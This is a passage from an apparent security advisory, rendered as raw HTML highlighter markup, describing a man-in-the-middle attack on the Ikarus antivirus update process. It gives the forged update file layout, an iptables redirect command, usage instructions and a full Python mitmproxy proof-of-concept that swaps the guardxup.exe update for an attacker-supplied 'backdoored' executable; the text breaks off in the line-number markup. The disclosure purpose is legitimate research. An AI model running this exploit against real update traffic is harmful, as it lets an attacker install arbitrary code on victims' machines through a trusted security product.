class=\"crayon-v\">center<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-14\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">body<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-15\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">html<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-16\"><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0017 seconds] -->  <\/p>\n<p>But we will modify the response with a IKUP format:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e530663aac1546034071\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> Bytes: 0x0 &#8211; 0x3 == IKUP # header  Bytes: 0x4 &#8211; 0x7 == 0x0s  Bytes: 0x8 == 0x3C # pointer to start of PE EXE MZ header  Bytes: 0x20 &#8211; 0x23 == update value in little endian (script fixes it up)  Bytes: 0x24 &#8211; 0x27 == crc32 checksum (script populates from provided binary)  Bytes: 0x28 -&gt; pointer to MZ header == 0x0s  Bytes: &#8216;pointer to MZ header&#8217; -&gt; ? == appended exe<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac1546034071-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac1546034071-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac1546034071-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac1546034071-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac1546034071-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac1546034071-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac1546034071-7\">7<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e530663aac1546034071-1\"><span class=\"crayon-v\">Bytes<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x3<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IKUP<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># header<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac1546034071-2\"><span class=\"crayon-v\">Bytes<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0s<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac1546034071-3\"><span class=\"crayon-v\">Bytes<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x3C<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># pointer to start of PE EXE MZ header<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac1546034071-4\"><span class=\"crayon-v\">Bytes<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x23<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">update <\/span><span class=\"crayon-e\">value <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">little <\/span><span class=\"crayon-e\">endian<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">script <\/span><span class=\"crayon-e\">fixes <\/span><span class=\"crayon-e\">it <\/span><span class=\"crayon-v\">up<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac1546034071-5\"><span class=\"crayon-v\">Bytes<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x24<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x27<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">crc32 <\/span><span class=\"crayon-e\">checksum<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">script <\/span><span class=\"crayon-e\">populates <\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-e\">provided <\/span><span class=\"crayon-v\">binary<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac1546034071-6\"><span class=\"crayon-v\">Bytes<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x28<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">pointer <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">MZ <\/span><span class=\"crayon-v\">header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0s<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac1546034071-7\"><span class=\"crayon-v\">Bytes<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;pointer to MZ header&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">appended <\/span><span class=\"crayon-v\">exe<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0015 seconds] -->  <\/p>\n<p>Then we will forward to the update to the client, where it replaces guardxup.exe with our executable.<\/p>\n<p><strong>Proof of concept<\/strong><br \/> Please install mitmproxy 0.17 &#8211; <em>pip install mitmproxy==0.17<\/em><\/p>\n<p>To use this script, you&#8217;ll need to MITM port 80 traffic from the client for use with a transparent proxy. <\/p>\n<p>Set your firewall rules to intercept 80 traffic on port 8080:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e530663aac3040544674\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> sudo iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-port 8080<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac3040544674-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e530663aac3040544674-1\"><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-v\">iptables<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">t<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">nat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">A<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PREROUTING<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">tcp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-v\">destination<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">port<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">80<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">j<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">REDIRECT<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">port<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8080<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0006 seconds] -->  <\/p>\n<p>and execute the script as follows:<\/p>\n<p><code><\/code><code>.\/poc.py file_to_deploy.exe<\/code><code><\/code><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e530663aac6930267215\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #!\/usr\/bin\/env python2  import os  try:      from mitmproxy import controller, proxy, platform      from mitmproxy.proxy.server import ProxyServer  except:      from libmproxy import controller, proxy, platform      from libmproxy.proxy.server import ProxyServer    import re  import struct  import sys  import zlib  import bz2    class IkarusPOC(controller.Master):      def __init__(self, server, backdoored_file):          controller.Master.__init__(self, server)          self.ikarus= {}          self.crc_file = 0          self.backdoored_file = backdoored_file          self.to_replace = 0          self.already_patched = 0          self.update_number = 0         def win_header(self):          self.update_header = &#8220;x49x4Bx55x50x00x00x00x00x3Cx00x00x00x00x00x00x00&#8221;          self.update_header += &#8220;x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00&#8221;            self.update_header += struct.pack(&#8220;&lt;I&#8221;, self.to_replace)        # update number          self.update_header += struct.pack(&#8220;&lt;I&#8221;, self.crc_file)          # checksum          self.update_header += &#8220;x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00&#8221;          self.update_header += &#8220;x00x00x00x00&#8243;        def run(self):          try:              return controller.Master.run(self)          except KeyboardInterrupt:              self.shutdown()        def crc_stream(self, a_string):          prev = 0          return zlib.crc32(a_string, prev) &amp; 0xFFFFFFFF        def crc(self, some_file):          prev = 0          for eachLine in open(some_file,&#8221;rb&#8221;):              prev = zlib.crc32(eachLine, prev)          self.crc_file = prev &amp; 0xFFFFFFFF           print &#8220;[*] crc_file&#8221;, self.crc_file        def handle_request(self, flow):          hid = (flow.request.host, flow.request.port)          flow.reply()        def handle_response(self, flow):          print &#8220;[*] flow.request.host:&#8221;, flow.request.host          if &#8220;cgi-bin\/imsa-lite.pl&#8221; in flow.request.path and &#8220;Dalvik&#8221; in flow.request.headers[&#8216;User-Agent&#8217;] and self.already_patched &lt;=2:              content = flow.reply.obj.response.content              p = re.compile(&#8220;antispam[s|t].*n&#8221;)              result = p.search(content)              the_result = result.group(0)                            original_update_number= [int(s) for s in the_result.split() if s.isdigit()][0]              if self.update_number == 0:                  self.update_number = original_update_number              self.to_replace = self.update_number + 1              content = content.replace(str(original_update_number), str(self.to_replace))              flow.reply.obj.response.content = content            if &#8220;cgi-bin\/virusutilities.pl&#8221; in flow.request.path and &#8216;virusutilities&#8217; in flow.request.headers[&#8216;User-Agent&#8217;] and self.already_patched &lt;= 2:   \t    print &#8220;[*] Found update response, modifying&#8230;&#8221;              content = flow.reply.obj.response.content              p = re.compile(&#8220;update[s|t].*n&#8221;)              result = p.search(content)              the_result = result.group(0)              original_update_number = [int(s) for s in the_result.split() if s.isdigit()][0]              if self.update_number == 0:                  self.update_number = original_update_number              self.to_replace = self.update_number + 1              print &#8216;[*] Update_number&#8217;, self.update_number              print &#8216;[*] Replace number&#8217;, self.to_replace              content = content.replace(str(original_update_number), str(self.to_replace))              print &#8220;[*] Updated content&#8221;, content              flow.reply.obj.response.content = content             if &#8216;guard&#8217; in flow.request.path and &#8216;full&#8217; in flow.request.path and self.already_patched &lt;= 2:              print &#8216;[*] Found guardxup.exe request! Modifying request and pushing provided file!&#8217;                self.crc(self.backdoored_file)              self.win_header()              with open(self.backdoored_file, &#8216;rb&#8217;) as f:                  file_out  = f.read()              content = self.update_header + file_out                   with open(&#8216;\/tmp\/update_test.full&#8217;, &#8216;wb&#8217;) as f:                  f.write(content)              flow.reply.obj.response.content = content               flow.reply.obj.response.status_code = 200              self.already_patched += 1           flow.reply()      config = proxy.ProxyConfig(port=8080, mode=&#8217;transparent&#8217;)  server = ProxyServer(config)  m = IkarusPOC(server, sys.argv[1])  m.run()<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aac6930267215-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aac6930267215-102\">102<\/div>\n<div class=\"crayon-num\" 